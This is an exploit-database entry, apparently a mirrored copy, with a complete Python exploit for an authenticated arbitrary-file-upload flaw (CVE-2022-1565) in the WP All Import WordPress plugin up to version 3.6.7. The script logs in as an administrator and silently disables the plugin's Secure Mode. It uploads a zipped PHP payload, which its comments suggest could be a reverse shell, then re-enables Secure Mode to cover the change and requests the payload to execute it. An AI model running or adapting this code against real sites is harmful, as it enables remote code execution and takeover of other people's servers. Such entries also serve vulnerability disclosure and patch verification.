WP All Import v3.6.7 – Remote Code Execution (RCE) (Authenticated)

  • 作者: AkuCyberSec
    日期: 2023-03-29
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/51122/
  • # Exploit Title: WP All Import v3.6.7 - Remote Code Execution (RCE) (Authenticated)
    # Date: 11/05/2022
    # Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)
    # Vendor Homepage: https://www.wpallimport.com/
    # Software Link: https://wordpress.org/plugins/wp-all-import/advanced/ (scroll down to select the version)
    # Version: <= 3.6.7 (tested: 3.6.7)
    # Tested on: WordPress 6.1 (os-independent since this exploit does NOT provide the payload)
    # CVE: CVE-2022-1565
    
    #!/usr/bin/python
    import requests
    import re
    import os
    
    # WARNING: This exploit does NOT include the payload.
    # Also, be sure you already have some valid admin credentials. This exploit needs an administrator account in order to work.
    # If a file with the same name as the payload is already on the server, the upload will OVERWRITE it
    # 
    # Please notice that I'm NOT the researcher who found this vulnerability
    
    # # # # # VULNERABILITY DESCRIPTION # # # # #
    # The plugin WP All Import is vulnerable to arbitrary file uploads due to missing file type validation via the wp_all_import_get_gz.php file in versions up to, and including, 3.6.7. 
    # This makes it possible for authenticated attackers, with administrator level permissions and above, to upload arbitrary files on the affected sites server which may make remote code execution possible. 
    
    # # # # # HOW THE EXPLOIT WORKS # # # # #
    # 1. Prepare the zip file:
    # - create a PHP file with your payload (e.g. rerverse shell)
    # - set the variable "payload_file_name" with the name of this file (e.g. "shell.php")
    # - create a zip file with the payload
    # - set the variable "zip_file_to_upload" with the PATH of this file (e.g. "/root/shell.zip")
    #
    # 2. Login using an administrator account:
    # - set the variable "target_url" with the base URL of the target (do NOT end the string with the slash /)
    # - set the variable "admin_user" with the username of an administrator account
    # - set the variable "admin_pass" with the password of an administrator account
    #
    # 3. Get the wpnonce using the get_wpnonce_upload_file() method
    # - there are actually 2 types of wpnonce:
    # - the first wpnonce will be retrieved using the method retrieve_wpnonce_edit_settings() inside the PluginSetting class.
    # This wpnonce allows us to change the plugin settings (check the step 4)
    # - the second wpnonce will be retrieved using the method retrieve_wpnonce_upload_file() inside the PluginSetting class.
    # This wpnonce allows us to upload the file
    # 
    # 4. Check if the plugin secure mode is enabled using the method check_if_secure_mode_is_enabled() inside the PluginSetting class
    # - if the Secure Mode is enabled, the zip content will be put in a folder with a random name.
    # The exploit will disable the Secure Mode.
    # By disabling the Secure Mode, the zip content will be put in the main folder (check the variable payload_url).
    # The method called to enable and disable the Secure Mode is set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str)
    # - if the Secure Mode is NOT enabled, the exploit will upload the file but then it will NOT enable the Secure Mode.
    #
    # 5. Upload the file using the upload_file(wpnonce_upload_file: str) method
    # - after the upload, the server should reply with HTTP 200 OK but it doesn't mean the upload was completed successfully.
    # The response will contain a JSON that looks like this:
    # {"jsonrpc":"2.0","error":{"code":102,"message":"Please verify that the file you uploading is a valid ZIP file."},"is_valid":false,"id":"id"}
    # As you can see, it says that there's an error with code 102 but, according to the tests I've done, the upload is completed
    #
    # 6. Re-enable the Secure Mode if it was enabled using the switch_back_to_secure_mode() method
    #
    # 7. Activate the payload using the activate_payload() method
    # - you can define a method to activate the payload.
    # There reason behind this choice is that this exploit does NOT provide any payload.
    # Since you can use a custom payload, you may want to activate it using an HTTP POST request instead of a HTTP GET request, or you may want to pass parameters
    
    # # # # # WHY DOES THE EXPLOIT DISABLE THE SECURE MODE? # # # # #
    # According to the PoC of this vulnerability provided by WPSCAN, we should be able to retrieve the uploaded files by visiting the "MAnaged Imports page"
    # I don't know why but, after the upload of any file, I couldn't see the uploaded file in that page (maybe the Pro version is required?)
    # I had to find a workaround and so I did, by exploiting this option.
    # WPSCAN Page: https://wpscan.com/vulnerability/578093db-a025-4148-8c4b-ec2df31743f7
    
    # # # # # ANY PROBLEM WITH THE EXPLOIT? # # # # #
    # In order for the exploit to work please consider the following:
    # 1. check the target_url and the admin credentials
    # 2. check the path of the zip file and the name of the payload (they can be different)
    # 3. if you're testing locally, try to set verify_ssl_certificate on False
    # 4. you can use print_response(http_response) to investigate further
    
    # Configure the following variables:
    target_url = "https://vulnerable.wp/wordpress"# Target base URL
    admin_user = "admin"# Administrator username
    admin_pass = "password" # Administrator password
    zip_file_to_upload = "/shell.zip" # Path to the ZIP file (e.g /root/shell.zip)
    payload_file_name = "shell.php" # Filename inside the zip file (e.g. shell.php). This file will be your payload (e.g. reverse shell)
    verify_ssl_certificate = True # If True, the script will exit if the SSL Certificate is NOT valid. You can set it on False while testing locally, if needed.
    
    # Do NOT change the following variables
    wp_login_url = target_url + "/wp-login.php" # WordPress login page
    wp_all_import_page_settings = target_url + "/wp-admin/admin.php?page=pmxi-admin-settings" # Plugin page settings
    payload_url = target_url + "/wp-content/uploads/wpallimport/uploads/" + payload_file_name # Payload will be uploaded here
    re_enable_secure_mode = False
    session = requests.Session()
    
    # This class helps to retrieve plugin settings, including the nonce(s) used to change settings and upload files.
    class PluginSetting:
    # Regular Expression patterns
    pattern_setting_secure_mode = r'<input[a-zA-Z0-9="_\- ]*id="secure"[a-zA-Z0-9="_\-/ ]*>'
    pattern_wpnonce_edit_settings = r'<input[a-zA-Z0-9="_\- ]*id="_wpnonce_edit\-settings"[a-zA-Z0-9="_\- ]*value="([a-zA-Z0-9]+)"[a-zA-Z0-9="_\-/ ]*>'
    pattern_wpnonce_upload_file = r'wp_all_import_security[ ]+=[ ]+["\']{1}([a-zA-Z0-9]+)["\']{1};'
    http_response: requests.Response
    is_secure_mode_enabled: bool
    wpnonce_edit_settings: str
    wpnonce_upload_file: str
    
    def __init__(self,http_response: requests.Response):
    self.http_response = http_response
    self.check_if_secure_mode_is_enabled()
    self.retrieve_wpnonce_edit_settings()
    self.retrieve_wpnonce_upload_file()
    
    def check_if_secure_mode_is_enabled(self):
    # To tell if the Secure Mode is enabled you can check if the checkbox with id "secure" is checked
    # <input type="checkbox" value="1" id="secure" name="secure" checked="checked">
    regex_search = re.search(self.pattern_setting_secure_mode, self.http_response.text)
    if not regex_search:
    print("Something went wrong: could not retrieve plugin settings. Are you an administrator?")
    # print_response(self.http_response) # for debugging
    exit()
    self.is_secure_mode_enabled = "checked" in regex_search.group()
    
    def retrieve_wpnonce_edit_settings(self):
    # You can find this wpnonce in the source file by searching for the following input hidden:
    # <input type="hidden" id="_wpnonce_edit-settings" name="_wpnonce_edit-settings" value="052e2438f9">
    # 052e2438f9 would be the wpnonce for editing the settings
    regex_search = re.search(self.pattern_wpnonce_edit_settings, self.http_response.text)
    if not regex_search:
    print("Something went wrong: could not retrieve _wpnonce_edit-settings parameter. Are you an administrator?")
    # print_response(self.http_response) # for debugging
    exit()
    
    self.wpnonce_edit_settings = regex_search.group(1)
    
    def retrieve_wpnonce_upload_file(self):
    # You can find this wpnonce in the source file by searching for the following javascript variable: var wp_all_import_security = 'dee75fdb8b';
    # dee75fdb8b would be the wpnonce for the upload
    regex_search = re.search(self.pattern_wpnonce_upload_file, self.http_response.text)
    if not regex_search:
    print("Something went wrong: could not retrieve the upload wpnonce from wp_all_import_security variable")
    # print_response(self.http_response) # for debugging
    exit()
    
    self.wpnonce_upload_file = regex_search.group(1)
    
    def wp_login():
    global session
    data = { "log" : admin_user, "pwd" : admin_pass, "wp-submit" : "Log in", "redirect_to" : wp_all_import_page_settings, "testcookie" : 1 }
    login_cookie = { "wordpress_test_cookie" : "WP Cookie check" }
    
    # allow_redirects is set to False because, when credentials are correct, wordpress replies with 302 found.
    # Looking for this HTTP Response Code makes it easier to tell whether the credentials were correct or not
    print("Trying to login...")
    response = session.post(url=wp_login_url, data=data, cookies=login_cookie, allow_redirects=False, verify=verify_ssl_certificate)
    
    if response.status_code == 302:
    print("Logged in successfully!")
    return
    
    # print_response(response) # for debugging
    print("Login failed. If the credentials are correct, try to print the response to investigate further.")
    exit()
    
    def set_plugin_secure_mode(set_to_enabled:bool, wpnonce:str) -> requests.Response:
    global session
    if set_to_enabled:
    print("Enabling secure mode...")
    else:
    print("Disabling secure mode...")
    
    print("Edit settings wpnonce value: " + wpnonce)
    data = { "secure" : (1 if set_to_enabled else 0), "_wpnonce_edit-settings" : wpnonce, "_wp_http_referer" : wp_all_import_page_settings, "is_settings_submitted" : 1 }
    response = session.post(url=wp_all_import_page_settings, data=data, verify=verify_ssl_certificate)
    
    if response.status_code == 403:
    print("Something went wrong: HTTP Status code is 403 (Forbidden). Wrong wpnonce?")
    # print_response(response) # for debugging
    exit()
    return response
    
    def switch_back_to_secure_mode():
    global session
    
    print("Re-enabling secure mode...")
    response = session.get(url=wp_all_import_page_settings)
    plugin_setting = PluginSetting(response)
    
    if plugin_setting.is_secure_mode_enabled:
    print("Secure mode is already enabled")
    return
    
    response = set_plugin_secure_mode(set_to_enabled=True,wpnonce=plugin_setting.wpnonce_edit_settings)
    new_plugin_setting = PluginSetting(response)
    if not new_plugin_setting.is_secure_mode_enabled:
    print("Something went wrong: secure mode has not been re-enabled")
    # print_response(response) # for debugging
    exit()
    print("Secure mode has been re-enabled!")
    
    def get_wpnonce_upload_file() -> str:
    global session, re_enable_secure_mode
    # If Secure Mode is enabled, the exploit tries to disable it, then returns the wpnonce for the upload
    # If Secure Mode is already disabled, it just returns the wpnonce for the upload
    
    print("Checking if secure mode is enabled...")
    response = session.get(url=wp_all_import_page_settings)
    plugin_setting = PluginSetting(response)
    
    if not plugin_setting.is_secure_mode_enabled:
    re_enable_secure_mode = False
    print("Insecure mode is already enabled!")
    return plugin_setting.wpnonce_upload_file
    
    print("Secure mode is enabled. The script will disable secure mode for the upload, then it will be re-enabled.")
    response = set_plugin_secure_mode(set_to_enabled=False, wpnonce=plugin_setting.wpnonce_edit_settings)
    
    new_plugin_setting = PluginSetting(response)
    
    if new_plugin_setting.is_secure_mode_enabled:
    print("Something went wrong: secure mode has not been disabled")
    # print_response(response) # for debugging
    exit()
    
    print("Secure mode has been disabled!")
    re_enable_secure_mode = True
    return new_plugin_setting.wpnonce_upload_file
    
    def upload_file(wpnonce_upload_file: str):
    global session
    
    print("Uploading file...")
    print("Upload wpnonce value: " + wpnonce_upload_file)
    
    zip_file_name = os.path.basename(zip_file_to_upload)
    upload_url = wp_all_import_page_settings + "&action=upload&_wpnonce=" + wpnonce_upload_file
    files = { "async-upload" : (zip_file_name, open(zip_file_to_upload, 'rb'))}
    data = { "name" : zip_file_name }
    response = session.post(url=upload_url, files=files, data=data)
    
    if response.status_code == 200:
    print("Server replied with HTTP 200 OK. The upload should be completed.")
    print("Payload should be here: " + payload_url)
    print("If you can't find the payload at this URL, try to print the response to investigate further")
    # print_response(response) # for debugging
    return 1
    else:
    print("Something went wrong during the upload. Try to print the response to investigate further")
    # print_response(response) # for debugging
    return 0
    
    def activate_payload():
    global session
    
    print("Activating payload...")
    response = session.get(url=payload_url)
    
    if response.status_code != 200:
    print("Something went wrong: could not find payload at " + payload_url)
    # print_response(response) # for debugging
    return
    
    def print_response(response:requests.Response):
    print(response.status_code)
    print(response.text)
    
    # Entry Point
    def Main():
    print("Target: " + target_url)
    print("Credentials: " + admin_user + ":" + admin_pass)
    
    # Do the login
    wp_login()
    
    # Retrieve wpnonce for upload.
    # It disables Secure Mode if needed, then returns the wpnonce
    wpnonce_upload_file = get_wpnonce_upload_file()
    
    # Upload the file
    file_uploaded = upload_file(wpnonce_upload_file)
    
    # Re-enable Secure Mode if needed
    if re_enable_secure_mode:
    switch_back_to_secure_mode()
    
    # Activate the payload
    if file_uploaded:
    activate_payload()
    
    Main()